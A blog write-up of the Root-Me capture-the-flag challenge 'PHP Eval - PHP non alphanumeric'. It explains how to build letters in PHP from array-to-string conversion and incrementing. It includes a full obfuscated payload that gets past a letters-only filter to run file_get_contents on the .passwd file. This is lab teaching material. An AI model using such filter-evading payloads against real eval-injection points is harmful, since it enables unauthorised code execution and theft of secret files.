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Thứ Ba, 1 tháng 9, 2020

[Root-Me] PHP EVAL - PHP NON ALPHANUMERIC WRITE UP !

 Hello everyone . Today , I will comeback to RootMe . This challenge is about PHP non-alphanumeric . It's at medium level with 40 points! Let’s dive into it ! 👆

Here is the source code provided by author 


We should focus on preg_match() function , which not allow us to input a-z A-Z letter . This mean we can't input any nornal alphabet letter 

After nearly decade searching and fuzzing , I find out something probably useful .

This doc can tell us about how we can write a PHP shell code using non alphanumeric letter .

Example : In PHP , we can construct a variable without declaring type of it , and named it with special letter non-alphabet (underscore letter) :$__  

$__=[] ; // I create an Array ;

$__="$__" ;// $__= "Array";

And we can extract the "A" letter by call $__[0]; as picture below ( $__[0] could be transfered to $__["!"=="+"] because the comparison return false .

So , with this letter "A" we can increase to any letter follow this rules 

Problem solved ! Let's input this to challenge 's form and expect it could bypass the filter 

Successfully, "B" letter appeared ! print can't evaluate the string as function if we append () to it . If I hadn't appended () , the error couldn't have appeared . This note really important when we dump the flag 😅

So next step , we must choose the best and simple payload which could be excuted to read flag (.passwd file) 

I choose file_get_contents(.passwd);

Follow the method I have described above , I build a mess payload could bypass the filter .

$_=[];$_="$_";$_=$_["."+"."];$______="";$______.=".";$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$______.=$__;$__=$_;$______.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$______.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$______.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$______.=$__;$__=$_;$__++;$__++;$__++;$______.=$__;$_=[];$_="$_";$_=$_["."+"."];$___="";$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$_=[];$_="$_";$_=$_["."+"."];$_____="";$__=$_;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$_____.=$__;$_____.="_";$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$_____.="_";$__=$_;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$_____.=$__;$_____($___($______));

If we did this normally , the result couldn't come up . So append () to this shell , and ...

 

 

And the flag comes up in Error Response !

Happy Hacking!







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